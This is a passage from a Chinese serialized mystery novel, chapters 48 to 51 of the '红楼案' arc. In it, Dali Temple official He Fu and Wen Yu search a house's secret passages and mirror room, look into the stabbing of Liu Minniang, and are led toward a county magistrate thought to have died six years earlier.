见争斗停了,方才楼上看戏的人便都走了下来,由于对宁千山下意识的恐惧,除过褚月外,其余人都站在了贺扶身后,小心翼翼地看着宁千山。
褚月是其中唯一一个不怕宁千山的,她款款走到宁千山身边停下,用脚轻轻踢了踢他,露出一只绣着春花的红色绣鞋,“喂喂喂,这就不行了?也太失败了吧?”
温余直接倒吸一口凉气,这简直就是在拉偏架吧?不对……褚月似乎就没想着要劝架,她好像只想看戏。
果然如温余所想,被驳了面子的宁千山作势又要起来与贺扶再战三百回合,温余立刻伸手阻拦:“别!大家可能有误会,先解释解释,君子动口不动手!”
“宁壮士,我们不妨先坐下聊一聊,若是有什么误会,我们还是说开了较好。”贺扶往前走了几步,冲宁千山伸出了手,算是表示友好。
宁千山上下看了贺扶几眼,看起来不像是那些个黑白不分的贪官,但他见过表里不一的人多了去了。不能单单靠外貌来看人。
他冷哼一声,侧开了脸。
“胜者为王,你已经输了就要听胜者的话哦。”谢旧用扇子遮住下半张脸,只露出一双闪着精明的光的眼睛。
温余不住啧了一声,这两人一人一句,饶是没什么斗争的人都要奋起战争了,更别说此时正一脸不服气的宁千山了。
宁千山粗眉竖起,原本对着贺扶的眼俶尔转向温余。
温余:“啊?”
宁千山将刀往前一砍,深深嵌入地板中,他沉声道:“方才那一招不算,我们再来过。”
温余看了看贺扶,又看了看宁千山,用食指指着自己:“我?这不好吧……”
宁千山又上下打量了温余半刻,似乎是觉得与一介女流比试赢了也不值得高兴。沉思片刻后看回贺扶:“你解释吧。”
贺扶从一旁搬了凳子,正想伸手拉起宁千山却见他挣扎着自己站起。
“请。”贺扶伸出手,示意宁千山坐上凳子。
宁千山正要坐下,但又在半路停住。他转头看向褚月,“你坐。”
褚月一挑眉,也没推脱就直接坐了下去。
方才二人打斗间不知道劈坏了几个凳子,若是她不坐一会儿之后可就没有地方坐了,她可不想去楼上搬凳子。
褚月坐下后宁千山还是选择站着,他依旧抱着刀看向贺扶,安静地等着贺扶的解释。
“我借旁人的身份来是为了中止这件事,我想你们也不愿一直活在这背后之人的威慑之下吧?”贺扶在周围人的脸上看了一圈,但无疑都是对他顶替旁人身份的诧异,以及温余的惊讶。
这就说出来了?温余一时有些反应不过来,但忽得感受到自己正在颤抖的手被一双手给包裹起来。
因为方才那一场闹剧,她自看到贺扶与宁千山打斗的那一刻就提起了心,此时没了威胁,却是有些后劲,整个手都在颤抖,怎么也止不住。
所以,贺扶方才是注意到了自己的不适?
温余心中不由生出一丝暖意,她鬼使神差地反握住贺扶的手,从掌心汲取一些温暖。
“不过……”贺扶暗了暗眸子,“你是如何知晓我不是韩犹息的?你们认识?”
“不认识。但听说过他的父母是因为官府办案不力枉死,他最为憎恨官府,不会说出你那样的话。”宁千山道。
贺扶眉梢一跳。
韩犹息,憎恶官府?那他为何要寻大理寺来帮他们?
以及他所隐瞒的东西……
贺扶只觉得等他回到京城后应该要面对一些东西,韩犹息的目的绝对没有这么简单!
“那你是什么人?”宁千山继续问。
贺扶如实相告:“大理寺卿,贺扶。”
听到贺扶的介绍,在场人皆一顿,神色各异,但更多的却是忌惮。
温余趁着这个时候将在场众人的神色净收眼底,但奇怪的是尤眠面上的恐惧似乎更深些。
他可是做了什么不该做的事情?
“宁壮士想问的,贺某都已如实相告,那接下来就是我要问的了。”贺扶微微一笑。
宁千山以为他还要问自己杀那黑衣人的目的,但对方却开口问道:“你来此的目的是什么?”
“……”宁千山皱起眉,“有人告诉我,孙企南在这里,我在找他。”
“是那个黑衣男子?”贺扶问。
宁千山点头,“是,你不问我为什么要杀人?”
“你昨天已经说过了,而且我记得你方才所说的名字我曾在崇安卷宗中看到过。”贺扶又将目光转向柳敏娘,“那你来此的目的是什么?”
躲在温余身后的柳敏娘缓缓露出了头,回答还是和昨天一样:“有人说,他有危险……”
“你们是什么关系?”贺扶目光如炬。
尤眠抢先回答:“我们没有关系,什么都没有!”
“你抢什么?鬼才信你们什么都没有!我们昨天可都听到了,再撒谎信不信下一个死的就是你!”温余声调升高,看向尤眠的目光也带上了不悦。
“柳姑娘,你说。”温余看向柳敏娘。
柳敏娘蹙着眉看了尤眠一眼,在他威胁般的目光下还是为了他的安全选择如实相告。
再怎么样也是官家的人,大理寺卿,一定能保护好自己和尤眠的。
“我和尤眠曾经是夫妻。只是他聪明俊俏,被城里的员外看上了要当女婿,所以我们就和离了。”
“但你还是爱着他,关
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心他?”温余问道。
柳敏娘点了点头,“我放不下他,只怪我家里没什么钱,不然也不会让他……”
柳敏娘的头低得更低,褚月却不由嗤笑:“俊俏?你是没见过男人吗?再说他既然能为了钱财抛弃自己的糟糠之妻就能为了更大的诱惑抛弃别人,你有没有钱又有什么用?早晚的事!”
褚月这话说得直接,也最是现实,对于这样的人及时抽身才是最好的。为此动情至此,着实是不太明智。
“我……”柳敏娘放在小腹前的手指搅起,双眼闪躲不敢去看旁人。
贺扶点了点头转而看向一旁愤愤的尤眠,“有人告诉你这里有一大笔钱财?”
尤眠瞪了柳敏娘一眼后没好气地点头。
“好,那接下来就请褚月姑娘如实相告了。”他又看向了褚月。
对方也似乎早已预料到了这一出,只是摊摊手:“我是听说这里有好戏可以看才来的,果真没来错。”
“当真?”贺扶问。
“当真。”褚月随意道,但目光却是看向了温余,好奇地问:“对了,那你呢?他是演的,你应该也是吧?”
温余点头,“嗯,我是贺大人的……属下。”
“哦?”褚月看向二人紧紧牵在一起的手,眸光微动。
被这么一看,温余如同触碰到了滚烫的炉火一般,瞬时将手放开,“属下……”
贺扶也意识到了自己的失礼,方才只顾着让温余安心些了,没想到竟是牵了这么久。
掌心还有几分残余的暖意,一时竟让他有些眷恋。
“那,谢公子呢?”贺扶整理好心绪后转而看向了一侧的谢旧。
他才是这桩闹剧中真正看热闹的人。
“哦?我不是昨日告诉你了吗?”谢旧双眼眯起,像一只狐狸,“贺大人?”
贺扶轻哦一声,“这倒是贺某忘了,但如此一来,我们所有人来此的目的都不相同。幕后之人了解所有人的性格、往事,还特地将有联系的人邀请来此,就是为了这样的一场……闹剧?”
“那就是说没有钱拿?”尤眠惊叫一声。
温余附和道:“不仅没有钱拿还要丢了命!”
“大家应该都不想死在这里吧?”贺扶淡淡道。
“直接把这房子拆了完事!用得着这么麻烦?”宁千山将刀一立。
“不可!”贺扶出声制止,“单单拆掉了房子那明年可能还会出现一个,只有将幕后之人抓住才能彻底解决这件事。”
“要找你们找!我直接走就是了!”尤眠拢了拢衣裳,似乎被吓得不清。
他只求财,可不想丢了命!
温余看着尤眠狼狈逃跑的背影,道:“我们可不知道那人的藏身之地,一个单独离去的人和一群人之间,要是你,你会会选择哪一个?”
尤眠的动作停了下来,“那我们要……待在一起?”
温余一打响指,“我现在有两个猜想!”
“你说。”贺扶给了她一个肯定的目光。
温余上前一步,“第一个可能,背后之人此刻正混在我们之间。”
48. 红楼案(九)
“什么?!”
温余的这一猜测一说出口便引得在场除过贺扶外的几人都炸开了锅,议论纷纷。尤眠的目光悄悄在在场众人面上转了一圈后,率先提出反驳:“不是,你有什么证据啊?”
“我说了,猜测,又没说一定是,你这么激动难不成你就是那个奸细?”温余眼底露出一抹狡黠,盯着尤眠的双眼眯起,仿佛一只想着坏点子的小狐狸。
贺扶自然将她这一表情收在眼底,他知晓温余这是在逗弄那人玩,也没有多说什么。但一旁的柳敏娘却是急了,连忙上前将尤眠护在身后:“他不是,我知道的。你这姑娘莫要凭空辱人清白!”
她这话说得急切又坚定,温余不禁摸了摸鼻子,仿佛她真成了什么是非不分的小人。
“我……”温余似是像开口辩解,却被柳敏娘皱着眉打断,她转头对上尤眠,一脸关切:“不如我们还是回去吧,我绝对不会再纠缠你了,我只要你活着。”
尤眠并不领情,他用力甩开自己胳膊上抓着的手,使得柳敏娘一个踉跄摔进温余怀里。
“没有钱活着又有什么意思?我都以及向他们许好了聘礼,空着手回去让他们看笑话吗?”
“可是,你若是死了……”柳敏娘似乎还想劝他,但他却只留下一句:“你怕,你就自己先走,别碍着我!”
看着尤眠决绝离开的背影,柳敏娘从眼中流下两行清泪,温余不知如何安慰只能道:“他这种人简直是唯利是图,要钱不要命!你以后别管他了!”
但没等温余将话说完,柳敏娘就将她甩开,眼中满是愤愤:“你懂什么?他不是这样的,他只是想过的好一点,你怎么能这么说他?我们的事情你别管!”
说罢,她绕开在一旁看戏的褚月离开,温余被她这一通吼给叫懵了,一时有些无措。
她竟不知原先看起来柔柔弱弱的柳敏娘一听旁人说道尤眠还能有这么大的反应,像是被触碰到了逆鳞一般。
这未免有些太护着那人了,还这般不值得……
“呦,好心喂了狗,别太生气哦。”谢旧将扇子放在温余脸侧扇了扇,仿佛真的在安慰她一般,但眼中的玩味却十分显眼。
“劝不了的人就不要劝了,有些人想往火炕里跳,拦不住的。只求她能留条命吧。”褚月抱臂上前,“对了,那第二个猜想是什么?”
温余撇撇嘴,不去替柳敏娘不值,转而道:“第二个猜想,这座楼中除了我们可以看到的这些房间外还有一个密室之类的。”
“没错。”谢旧继续上前,“这里的主人既然邀请我们来此,定要确保我们的每个行动都要落在他眼中,他又不混在我们之中那就只有在暗处看着我们了。”
“躲在暗处又不能被我们发现那就需要一个可以供她藏身的地方了。”
褚月哦了一声,“那开找吧,要是找不到那就只有第一个可能了。”
“那我们分散找?”温余提议道,“柳敏娘他们是不会一起了,我们怎么分?”
一旁的谢旧正要开口,却见温余利落的举起手,转头看向身后安静站着的贺扶,脆生生地道:“首先说明,我和我家贺大人一起!”
谢旧摇着扇子的手一顿,也看向贺扶,见他微微愣神后露出个意味不明的笑来:“哦?看来我不能和温姑娘一组了,那就……”
他又将目光转向褚月,宁千山注意到他目标的转换后将刀一震,“我劝你不要打她的主意。”
“诶呀,可褚姑娘可还未说话啊?”谢旧看向褚月。
褚月立刻摇头:“我一个人走,你们谁都不要跟着我。”
“哦?”谢旧歪了歪头,“一个人?莫不是有什么隐瞒,要避着众人?”
“怀疑我?我还怀疑你呢?我可从未在崇安城中见过你?”
见二人剑拔弩张,温余立刻上前挡着,“别吵架,第一个猜想先放一放,我们先找密室。大家现在都是一条绳上的蚂蚱,非万不得已就不要先互相怀疑了吧。”
在没搞清楚情况前,内讧是大忌。
说不准没等对方出手就自己把自己人杀了大半,像昨天的那个人一样,还没来得及说什么就死了,太潦草了!
“好吧,你说话好听,我听你的。”褚月转身不再看谢旧。
“那我和贺大人一起的话,那你就和宁壮士一组。”温余对着谢旧叉腰道。
宁千山瞥了谢旧一眼,“哼,小白脸。”
谢旧一成不变的笑在脸上僵了一瞬,贺扶轻咳一声,想替谢旧辩解一句。还未开口便也被宁千山瞥了一眼,“两个小白脸。”
贺扶:“……?”
按照规划,二楼比较小,就交给褚月一个人搜,温余和贺扶搜一楼左侧,宁千山和谢旧搜一楼右侧。
“我的脸,很白吗?”贺扶还是对宁千山那突如其来的一句“小白脸”耿耿于怀,他一边摸着那猞猁屏风,一边问在旁边翻着柜子的温余。
温余直起腰,凑近贺扶的脸看了看,他也很配合地往前凑了凑。
对上这张近在咫尺的脸,温余的心跳不由停了一拍,面上也升起几丝热意。
“很白吗?”贺扶见温余盯着自己的脸发愣愈发觉得奇怪了。
“还好吧,像宁千山那样的人应该是觉得只有他那样的壮汉才能不被算作小白脸吧?”温余拍了拍贺扶的肩膀,算是安慰。
“况且他这么说肯定是觉得您好看,所以才那么说的。”
贺扶点头,其实他对自己的面貌向来不甚在意,无论旁人是夸赞还是诋毁都对他没什么影响,虽然从来没有人会从外貌上挑他的错就是了。
但不知为何,他忽然发自内心地想问温余,想知道温余的看法:“那你觉得如何才算好看?是像宁壮士那样的,还是……”
贺扶也不知自己为何要这么问,也不知道温余会怎么回答,若是她喜欢宁千山那样的,那他要怎么办》去练一练?
温余正要开口却又见贺扶摇着头移开眼,“不必回答了,先搜查吧。”
“我觉得您最好看,怎么样都好看!”温余没有在意贺扶突然的转
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变,而是凑上去笑着回答。
贺扶轻咳一声,觉得自己突然变得很奇怪,突然开始在意别人的想法,“容貌各人有各人的审视,不必太过在意的,方才是我多问了。”
温余见他想躲,笑了一声后凑得更前,几乎是围在他身边像一只喋喋不休的雀儿一般,“对啊,各人有各人的审视,可我就觉得贺大人你最好看,天下第一好看!”
“你……”贺扶对上温余弯弯的笑眼,搭在屏风上的手微微蜷起,关节有些发白。他竟一时不知说什么,心情还升起些窃喜。
她,喜欢自己这般相貌。
“我?”温余指了指自己,“我是不是也好看?”
“当然好看,简直是我所见过的姑娘中最好看的,只是……”谢旧摇着扇子从暗处走上前来,边走还边摇着头,“你之前不是说过我是最好看的吗?”
温余不知谢旧是从哪里窜出来的,只觉得自己是撒谎被抓包的小人,一时有些慌乱,从贺扶身边离开后,挠了挠头,岔开话题:“你不是和宁千山在一起吗?怎么突然来这儿了?”
谢旧轻轻叹了口气:“那人总对着我叫小白脸,看他不是很想和我一起的样子,正巧我也听不下去,就只好来找你们了?那知一来就听到了温姑娘你心里又有了最好看的人,我好生伤心啊!”
他话说得悲戚,仿佛是被负心汉哄骗的小姑娘一般。
“什么叫,又?”贺扶也看向温余。
温余讪笑几声,“没什么没什么。”
可谢旧却不买她的这个账,直接对贺扶道出了那夜初见时温余所说的话。说罢他又做出一副委屈又失望的表情来:“所以啊,不过这些日子你就换了主意,着实让我伤心啊!还是说……”他的话慢了下来,“你自一开始就是骗我的?”
“我……”温余看看贺扶又看看谢旧,“这些都是小事,小事!我们还是先找密室吧!找密室……”
贺扶点头,却又被谢旧拍了拍肩,“那你也不要太过相信她的话啊,说不准她见人说人话,见鬼说鬼话呢。”
“不会,我相信她不会骗我。”
说罢,贺扶又看了一眼手足无措寻找东西的温余便继续去研究那扇屏风,“谢公子既然过来了那就一起吧。”
谢旧自知无趣,轻哼一声后转过身去,心中却带了些疑惑。
他刚刚说的“相信”是相信她所说的话,还是觉得他长得就是比自己好看呢?
谢旧收了扇子,又在贺扶脸上看了片刻后才开始俯身查看。
难道他真的比自己好看?这世上不该有比自己好看的人,不该。谢旧的眼中暗了暗。
不知搜了多久,温余直起腰来,感到一阵酸痛后用手拍了拍,“贺大人你有什么发现吗?”
贺扶蹲在地上,仔细摸着地板查看是否有异常之处。听温余问自己便抬头看她:“暂时没有。”
“两位不用找了,我找到了。”谢旧从一旁翩翩走来,指了指一旁的铜雀雕像道,“温姑娘猜得不错,那里确实有一个密道。”
49. 红楼案(十)
“这么快就找到了?”温余有些惊讶。
谢旧为两人指着角落那条黑黢黢的密道,一副胸有成竹的样子:“那是自然,我能能力可不比旁人差。”
温余上前往密道里探了探,差不多有一人高,应该就是供人来回的。可这密道之后连接的是什么呢?
“我们进去看看吧!”温余道。
贺扶往另一边看了看,心里还想着宁千山:“待我去叫上宁壮士一起。”
谢旧在贺扶迈开步子的前一刻抓住他的胳膊,“诶,这是我先发现的,我不想告诉那人,让他自己找就是了。”
“哇,你还记仇啊?”温余诧异道。
谢旧自然地点头:“那当然,你之前哄骗与我,我可是不会忘的,你可要小心了。”
“既如此那就先进去吧。”贺扶往温余面前走了几步,隔断了谢旧看向温余的目光。
谢旧这才收回了目光,展开扇子道:“走吧。”
三人进入密道,借着温余手中微弱的火光不断往前探。黑暗狭窄的密道中只有三人参差不齐的脚步声和火焰燃烧的噼啪声。
等三人走过一段楼梯后一声怒吼在三人耳边炸开。
温余循着声音将耳朵贴在墙上,“在这儿!”
她将头抬起示意贺扶来这里看,贺扶在墙上摸了半晌后发现这地方要被别处薄,像是木板一样。他蹙眉将那地方推了一下,那墙便很轻松地被推开了。
“这是门……”话没说完温余就被贺扶捂住了嘴。
透过缝隙,二人看到了屋内的景象。
“按照这小楼的构造推断这里应该是尤眠的房间。”贺扶压低声音道。
果然,下一刻响起的便是尤眠的怒吼。
“你够了!我说了我不会回去,没有钱我就去死!用不着你劝我!你不会忘记了吧?我们之前的生活,有上顿没下顿,我们的第一个孩子就是被活活饿死的,还有你那个死鬼老娘,满身的病那得花多少钱?我当时是和你有过感情,但那些感情能当饭吃吗?能让人对我高看一等吗?我告诉你,不能,不能!”
“可是继续待在这里说不准会死啊!人活着还能有希望,但死了就什么都没有了。”柳敏娘声音颤抖:“求你了,求求你了,跟我回去吧。那个贺扶不是说会解决事情吗?我们只要回去等着他们抓住背后那个人我们就安全了,没事了,我们回去吧,好吗?阿眠?”
她这话说得卑微又恳切。
“你听不懂人话吗?!我说不会去,我不怕死,但我怕没有钱!”尤眠眼珠一转,转而抓住柳敏娘的衣角,“你想让我听你的,好。你去帮我找钱来,找到了我就跟你走,我要一大笔钱,你去找,去啊!”
柳敏娘的神色有些恍惚,身子晃了几晃后,重重地点了头:“好,好,我去找。”
说完,柳敏娘胡乱的摸了摸脸上横流的泪转身离开,尤眠也不再看她,只是坐在桌旁胸膛起伏。
“这人也太不识趣了,那柳姑娘分明是为了他好,怎么还这般……”温余说得无奈。
谢旧往前走了走,“你不懂,人这一辈子什么都可以没有,但‘钱’和‘权’二字是不能不争的。有这两点你可以抬起头做人,没有的话就只能当一条狗,不对,狗都不如。”
他拍了怕温余的肩,“所以,人为财死鸟为食亡,正常。”
“行了行了,我们再往前看看吧。”温余直起身子打算继续往前走。
三人又走了一段路,都惊奇地发现每隔一段路,周围的墙壁就会变薄一块,都是可以推开的,连接着楼中的每一个房间。
“难道是这背后的人通过密道在监视所有人?”温余走进自己的房间缓缓坐下。
见贺扶也走了过来后为他倒了杯水,“贺大人喝点水吧。”
贺扶接过茶杯却没有喝,“你说得不错,不过这密道里应该还有东西,休息一会儿后我们再努力找找吧。”他看向倚在墙边的谢旧,“谢公子要一起休息一会儿吗?”
“不必了。”谢旧的目光又回到了密道之中,“你们没发现有什么不对劲吗?”
“不对劲?”温余咽下口中的清茶,这次的倒不是那么甜,甚至有些苦味。一张小脸就这么皱在一起,“什么东西啊,这么苦!”
温余呸了几声后才抬眼看向贺扶,却见贺扶正看着自己眼底还带着笑意,“贺大人你笑我啊?”
贺扶摇头:“没有,等回去我便多准备些甜茶。”
“真的?!”温余双眼又弯起来。
贺扶点头:“真的。”
谢旧用手将那木板墙拍得邦邦响:“喂,你们不妨理我一下呢?”
贺扶这才转头,“褚月姑娘。”
“对啊,她为什么不在?”
按道理她应该是在二楼搜查,但这么久的时间却一点动静都没有。
温余和贺扶站起身来正要进入密道却被谢旧拉住:“嘘,她在哪儿。”
温余顺着他所指的方向看去,只见褚月正也拿着一个火折子对着墙壁摸来摸去,不久便似摸到了什么东西,后将那墙壁推开,进入了那个房间。
看她的样子应该是要比温余几人早发现这个密道,但她为何不告诉大家呢?是怀疑他们之中有卧底还是说她自己就有一些不可告人的秘密呢?
带着怀疑三人又在原地看了许久,等到脚步声再次响起,褚月才缓缓出来。
三人尽数将身形藏在暗处,看着褚月四下观察后便推开另一个门离开了,但走时好像还带了什么东西,用布包着,不知道是什么。
“我们进去看看吧。”谢旧收了扇子,将它别在腰间。
三人蹑手蹑脚地来到那扇门前,一推三人便都被面前的景象吓到了。
只见这小小的屋子里四面都是巨大的铜镜,一打眼便在镜子中看到了三张错愕的脸。
“天呐,这些镜子……”温余只觉得头皮发麻,谁对着四周扭曲的脸还保持冷静呢?饶是贺扶都是愣神了许久才迈开步子。
“先进去看看。”贺扶闭了闭眼。
进入房间,谢旧便借了温余手中的火点上了墙壁上的灯,四周霎时亮了起来。
温余下意识地用手遮了遮眼睛后再次投入寻找。
这屋子里除过镜子便没有什么其他的东西了,一览无余,不知道刚刚褚月从中带走了什么东西。
“找一找吧,说不准有什么暗格之类
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的东西。”贺扶对着四周的镜子,一时也不知从何下手,但余光却忽然瞥到一旁站定的谢旧,他正盯着铜镜中那张扭曲的脸。
他上前去看,随着他的脚步镜子中的脸越发扭曲,仿佛一个妖怪,他不自觉地抚摸上镜中的脸随后缓缓吐出两个字:“好丑。”
贺扶垂眸思索了片刻后叫过在一边敲镜子的温余带着她一同往谢旧面对的那面镜子前走去。
“这镜子有些问题,似乎有些前倾。”贺扶道。
谢旧收回手,淡淡一句:“你来吧。”
贺扶与温余对视一眼,贺扶护在温余身前去查看镜子,以防这镜子后藏着什么东西。
他先是伸出手在镜子上按了按,果然这镜中中空,应该是藏了什么东西。贺扶请谢旧躲得远了些后用肘将那镜子打碎,一个暗格缓缓出现在三人面前。
“是个盒子,但是已经被打开了。”温余拿出盒子看了看,里面什么东西都没有,“是褚月方才拿走的?”
“那会是什么东西呢?宝物?”温余将盒子合起来但没有把它放回去。
“不知,这里应该再没有什么了,我们先出去吧。”贺扶提议道。
等三人出去后他才注意到温余怀中抱着的盒子,“你为何还拿着这个?”
温余摇了摇头,她也不知道为什么,总觉得这盒子有些熟悉但又说不上是哪里,只好把它带出来慢慢看了。
“先去找那位褚月姑娘吧,问问她带走了什么。”谢旧又拿出了扇子,推开门就对上了正要冲进来的尤眠。
“不好了,不好了。”他满眼惊慌。
谢旧懒得回答他,只是侧过身子让他对着贺扶。
“发生什么事了?”贺扶迎上去。
“她……她……”结结巴巴大半天,尤眠也只憋出来一个“她”字,连话都说不清楚。
正当贺扶要开口问便见一只大手将他推开,显现出一张严肃的脸。宁千山沉声道:“柳敏娘死了。”
“什么?!”温余猛得站起身来,分明方才路过时还听到她和尤眠争吵,怎么只这一小会儿就被杀了?
“在哪儿被杀的?”温余上前询问。
“一个密道。”宁千山行走江湖多年对血腥味道极其敏感。他本在楼下搜查但一回头却发现原本在一楼的人突然都不见了,便想着上二楼看看,没想到路过褚月房间的时候闻到一股血腥味,便推门查看,没想到顺着气味看到的竟然是柳敏娘的尸体。
仰面躺在地上,胸口还插着一把刀。
“怎么会……”贺扶的眉瞬间蹙起。
为何,又死了一个人?他和温余谢旧三人在一起,都没有作案的时间,那就只能在其余三人之间猜测了。
看到贺扶打量自己的目光,宁千山开口:“不是我杀的,要是我我会直接告诉你们,不必遮遮掩掩。”
“是褚月!”尤眠叫喊道,“一定是那个贱人,尸体是在她房间里找到的,一定是她!”
“那褚月呢?”温余忽得想起,“你们有见到褚月吗?”
面前两人都摇头。
“她带着东西消失,又恰巧柳敏娘被杀,真是巧合啊!”谢旧不紧不慢摇着扇子。
50. 红楼案(十一)
“她一定是杀了人之后心虚,就找了机会跑了,一定是她杀的人!”尤眠说得激动,仿佛他对柳敏娘多在意似的。
温余自然觉得不对劲,提出疑问:“可我们有在密道里看到她,这么短的时间里杀一个人未免有些太困难了吧?再说了,有人杀柳敏娘,她不会叫吗?”
尤眠似乎是要将褚月杀人凶手的这个身份坐实,继续说道:“我们互相可都不了解对方。就像你们,在你们说出真实身份之前我们可都不知道你们是朝廷的人,那个女人不也是一样?说不准她是个什么绝世高手,在霎那间就能取人性命呢?”
他越说越肯定,“对,一定是她!是那娘们撞破了她的好事,她就顺手杀了她!一个农家妇人又能有什么反抗的力气呢?一定是她!你们一定不要放过那个杀人凶手!”
说着,他还上前抓住贺扶的手,不断要求贺扶给柳敏娘一个公道。
贺扶被他晃的难受,但还是很耐心地劝解:“公子莫要着急,我们还是先看过柳娘子的尸体再说吧。”
“是啊!”温余附和着上前甩开尤眠拉着贺扶的手,笑了笑,“你这么激动做什么?之前我怎么没见你这般在乎柳娘子,现在倒是急着往别人身上泼脏水,我看啊,说不准就是你贼喊捉贼!”
“你放屁!”
原本温余只是想诈一诈,却未曾想这人就这般直接地骂了出来,她愣了一瞬后撇撇嘴,“这么激动?有问题哦。”
“我们可都看到了,你之前和那个女人关系可是十分的要好,一定是想包庇她!”
“不是。”
宁千山走上前来,怀中依旧抱着那把刀。他直勾勾地盯着比自己矮了一个头的尤眠,看得对方双腿都有些颤抖。
正当一滴冷汗自尤眠额角落下时,他才缓缓开口:“不是褚月,我可以作证。”
“怎么不是?你见过是谁杀的?”尤眠问他。
宁千山却摇摇头:“我没看见,但,一定不是褚月。”
“宁壮士为何这般确信?”贺扶问。
宁千山少见正眼去看贺扶,他认真道:“我信她。”
“……”贺扶沉默了片刻,“你之前认识褚姑娘?”
宁千山摇头,依旧说着那句:“我信她。”
见他不愿再开口,贺扶也不再问他,只是拉过还在不断说着温余包庇褚月的尤眠,道:“先去看看尸体吧。”
尤眠最后又看了一眼温余,点头。
温余切了一声,心中对尤眠的怀疑直线上升。
这人一开始对柳敏娘就是一副沾上瘟神的样子,怎么她一死就突然吵着闹着要给她讨个公道了?而且她从密道走过的时候可是清清楚楚看到尤眠和柳敏娘在一起的,要说可疑那也是他更可疑,至于褚月究竟有什么瞒着大家,这就要另说了……
她究竟拿走了什么呢?
温余看着贺扶三人离开的背影,微微出神。
“温姑娘?”谢旧的声音忽然在耳边响起。
温余立刻抬头:“怎么了?”
谢旧问她:“你不和他们一起走吗?”
温余这才站直了身子,手指划过桌上那个木匣子的瞬间,忽然一激灵。
“怎么了?”已经走了几步的谢旧忽然回头。
温余搭在匣子上的手指蜷起,摇了摇头:“没事,走吧。”
她跟在谢旧身后再一次进入了密道,她始终和他保持着距离。
刚刚那匣子上的雕花,似乎有些熟悉,她应该是在哪里见过的。
温余食指和拇指轻轻摩擦着,不断回想着这触感的来源。
“温姑娘。”谢旧忽然停下,后背感到一丝疼痛后才转身。
温余正捂着头,有些抱歉:“抱歉,我在想事情,不小心撞到你了。”
谢旧颇为好奇:“不知温姑娘在想什么事情?是关于那位柳娘子的,还是别的什么?”
温余看着面前笑眯眯的男人,这密道里很暗,隐隐约约还能听到细微的风声。她不由想起了初次见到谢旧事的场景。
那股瘆人的寒意又一次涌上背脊,直冲天灵盖。
“是在想柳娘子的事情。”
“哦?那温姑娘觉得是谁杀了她呢?”谢旧似是循循诱导。
温余却没有直接回答,“还是快些去看尸体吧!再听听贺大人怎么说。”
不知为何,她此刻只觉得面前这人十分危险,周围黑暗逼仄,若是真的动手,她定然没什么反抗的办法,只能想着快些去找贺扶他们,就算谢旧真的有什么想法,那么多人在场他肯定也没法动手。
温余冲谢旧笑了笑后侧身从谢旧身边走过,却被谢旧抓住了袖子。
“你就这般喜欢跟在那位贺大人身边?”谢旧问。
“当然!贺大人对我极好,简直犹如再生父母,我当然愿意跟着他了!谢公子若是想闲庭漫步,那您请便。”
温余想要挣脱开,却被谢旧抓得更紧,“别跑啊,我怕黑,还请温姑娘同我一起走。”
温余一阵沉默,“好吧,那你抓紧我的袖子,我们走快点。”
“那就多谢了。”
温余牵着谢旧走到贺扶三人处时,贺扶已经检查过了尸体。
“确实是刀伤,不过一共是两刀。一刀有些偏斜,第二刀是直插心口的。”
“这刀是桌上的切水果的刀?”温余拿起刀看了看。
“没错。”贺扶站起身,看着面前的尤眠,“不知尤公子桌上的刀可还在原处?”
尤眠顿时僵住,“这就是我桌上的刀。”
“那人是你杀的?”贺扶继续问。
尤眠却矢口否认:“当然不是。我承认,她是在我眼前死的,我只是没有救她而已。”
贺扶垫着自己的外衫将柳敏娘的尸体抱起,带着众人一同到尤眠的房间里。
“还请详细说说当时的情况。”
尤眠在桌旁坐下,目光下意识往宁千山处扫了一扫后开口道:“当时我和柳敏娘一起看到褚月从密道里出来,她为了防止我们向你们告密就打算杀我们灭口,但是只杀了柳敏娘就听到密道里有别的声音,她便立刻从门口逃走了,我方才是怕她会躲在暗处偷听,然后趁着没人杀我灭口所以才这么说的。”
“刚刚贺大人不是说了,”温余伸出两根手指,
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“两刀。”
这借口未免也太过拙劣了吧?
尤眠整张脸变得通红,“反正我只是见死不救,人又不是我杀的,我不知道。”
“真的?”温余凑上前问他。
尤眠别过脸,还是掩盖不住心虚的表情。
“况且,你们也没有证据!你们总不能随意抓人吧?”
温余还欲再说,贺扶却先一步开口:“既然确实没有证据,天色也不早了,我们还是先等明日吧。”
说罢,贺扶上前一步:“为确保安全,今夜宁壮士就和尤公子一同休息吧,也好保护他。”
宁千山只是点头。
“谢公子就和贺某一起吧。”
谢旧似乎没想到贺扶会这样安排,“为何?谢某不是很怕。”
“贺某怕,谢公子还是同我一起吧。”贺扶眨了眨眼,语气却不容拒绝。
怕?怕什么?
自然是怕谢旧趁着没人做些什么了,谢旧当然也清楚。
他眯了眯眼后笑了出来,还真是两只老狐狸啊!
“那温姑娘呢?”谢旧看向温余,“温姑娘可是在场唯一的女子,她应该更危险吧?”
“我自己一个人便好,我不怕。”温余叉腰,目光在在场所有人脸上扫了一遍,在看向贺扶时看到了对方眼中的欣慰。
贺扶笑道:“既如此,我们便先走吧,谢公子。”
谢旧见拒绝无果,只好点头。
但三人即将出门时却听尤眠一句:“那这尸体……”
宁千山瞥了他一眼:“一具尸体,还能跳起来杀了你不成?”
尤眠吞了吞口水:“这一具尸体放在房中未免有些太晦气了吧?”
温余折返回去,抱起柳敏娘的尸体道:“那我带走,我看着她!”
尤眠看向温余的眼神中多了一丝诧异,但没有开口,只是看着她离开。
入夜后,温余撑着脑袋坐在柳敏娘的尸体旁,看着安详躺着的女人,心中有些可惜,她对这尸体自言自语:“你说说,为何非要在一棵树上吊死呢?那人又不值得,你还这般执着的想要带他回去,最后却成了这个样子。”
她叹了口气,窗外似有微风袭来。
于是她站起身想要打开窗户,但还未走到窗边便听暗处传出些窸窸窣窣的声音来。
她没有半分惊讶,迅速上前敲了敲墙壁,很快另一侧也传出清脆的敲击声。
她推开那块墙壁,褚月正站在密道中。
“你怎么……”
没等温余问,褚月便拉上温余的手往密道里钻。
见褚月没有想要解释的意思,温余也安静地跟着她的脚步。二人又回到了那间全是镜子的房间。褚月直直向着一面镜子走去。
“在这里?”温余压低声音问。
“对。”褚月缓缓推开那面镜子,一个仿若狗洞般低矮的洞口出现在温余眼前。
“这里面有什么?”温余跟着褚月从哪洞中钻进去。
“人。”
“什么人?”温余问。
“早该在六年前就已经去世的,崇安县令。”褚月声音低沉。
51. 红楼案(十二)
“崇安的……县令?”尽管温余早就意识到了不对劲,但听到褚月的话时还是一愣。
六年前就该去世的县令,被不知什么人关在这里,竟是关了整整六年?不知稍后要面对的将是什么样的场面。
